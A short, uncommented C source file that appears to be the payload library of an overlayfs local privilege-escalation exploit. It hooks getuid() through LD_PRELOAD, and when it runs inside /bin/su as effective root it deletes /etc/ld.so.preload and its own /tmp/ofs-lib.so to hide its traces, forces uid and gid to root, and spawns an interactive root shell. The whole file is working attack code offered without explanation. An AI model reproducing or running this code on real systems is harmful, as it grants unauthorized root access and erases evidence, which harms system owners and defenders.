#include <unistd.h>

uid_t(*_real_getuid) (void);
char path[128];

uid_t getuid(void){
  _real_getuid = (uid_t(*)(void)) dlsym((void *) -1, "getuid");
  readlink("/proc/self/exe", (char *) &path, 128);
  if(geteuid() == 0 && !strcmp(path, "/bin/su")) {
    unlink("/etc/ld.so.preload");unlink("/tmp/ofs-lib.so");
    setresuid(0, 0, 0);
    setresgid(0, 0, 0);
    execle("/bin/sh", "sh", "-i", NULL, NULL);
  }
  return _real_getuid();
}